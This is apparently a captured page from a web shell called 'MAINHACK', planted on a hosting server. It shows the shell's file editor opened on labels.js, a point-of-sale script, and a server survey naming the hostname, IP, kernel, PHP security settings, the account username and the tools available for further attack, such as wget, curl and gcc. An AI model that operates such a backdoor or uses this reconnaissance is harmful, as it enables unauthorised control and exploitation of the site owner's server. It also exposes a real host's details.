[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: labels.js
$(document).ready(function() { $('table#product_table tbody').find('.label-date-picker').each( function(){ $(this).datepicker({ autoclose: true }); }); //Add products if ($('#search_product_for_label').length > 0) { $('#search_product_for_label') .autocomplete({ source: '/purchases/get_products?check_enable_stock=false', minLength: 2, response: function(event, ui) { if (ui.content.length == 1) { ui.item = ui.content[0]; $(this) .data('ui-autocomplete') ._trigger('select', 'autocompleteselect', ui); $(this).autocomplete('close'); } else if (ui.content.length == 0) { swal(LANG.no_products_found); } }, select: function(event, ui) { $(this).val(null); get_label_product_row(ui.item.product_id, ui.item.variation_id); }, }) .autocomplete('instance')._renderItem = function(ul, item) { return $('<li>') .append('<div>' + item.text + '</div>') .appendTo(ul); }; } $('input#is_show_price').change(function() { if ($(this).is(':checked')) { $('div#price_type_div').show(); } else { $('div#price_type_div').hide(); } }); $('button#labels_preview').click(function() { if ($('form#preview_setting_form table#product_table tbody tr').length > 0) { var url = base_path + '/labels/preview?' + $('form#preview_setting_form').serialize(); window.open(url, 'newwindow'); // $.ajax({ // method: 'get', // url: '/labels/preview', // dataType: 'json', // data: $('form#preview_setting_form').serialize(), // success: function(result) { // if (result.success) { // $('div.display_label_div').removeClass('hide'); // $('div#preview_box').html(result.html); // __currency_convert_recursively($('div#preview_box')); // } else { // toastr.error(result.msg); // } // }, // }); } else { swal(LANG.label_no_product_error).then(value => { $('#search_product_for_label').focus(); }); } }); $(document).on('click', 'button#print_label', function() { window.print(); }); }); function get_label_product_row(product_id, variation_id) { if (product_id) { var row_count = $('table#product_table tbody tr').length; $.ajax({ method: 'GET', url: '/labels/add-product-row', dataType: 'html', data: { product_id: product_id, row_count: row_count, variation_id: variation_id }, success: function(result) { $('table#product_table tbody').append(result); $('table#product_table tbody').find('.label-date-picker').each( function(){ $(this).datepicker({ autoclose: true }); }); }, }); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285